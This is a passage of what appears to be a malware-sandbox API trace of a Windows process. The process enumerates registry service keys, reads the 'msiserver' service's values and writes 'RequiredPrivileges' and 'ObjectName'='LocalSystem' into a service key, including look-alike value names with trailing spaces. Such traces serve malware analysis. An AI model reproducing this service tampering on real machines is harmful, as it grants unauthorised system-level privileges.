returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0238.316] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0238.317] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0238.318] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0238.318] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0238.318] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0238.318] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0238.318] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0238.318] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0238.318] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0238.318] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0238.319] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0238.320] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0238.320] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0238.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0238.321] RegCloseKey (hKey=0x150) returned 0x0 [0238.321] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0238.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0238.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0238.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0238.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0238.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0238.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0238.321] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0238.321] RegCloseKey (hKey=0x80000002) returned 0x0 [0238.321] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0238.321] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0238.321] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0238.322] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0238.322] RegCloseKey (hKey=0x154) returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0238.322] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0238.322] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0238.322] RegCloseKey (hKey=0x150) returned 0x0 [0238.323] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0238.323] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0238.323] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0238.323] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0238.323] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0238.323] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0238.323] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0238.323] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0238.323] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0238.323] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.324] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.325] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0238.325] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0238.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0238.325] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0238.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0238.325] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0238.325] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0238.325] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0238.325] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0238.325] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0238.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0238.326] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0238.327] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0238.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0238.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0238.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0238.327] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0238.327] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0238.327] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 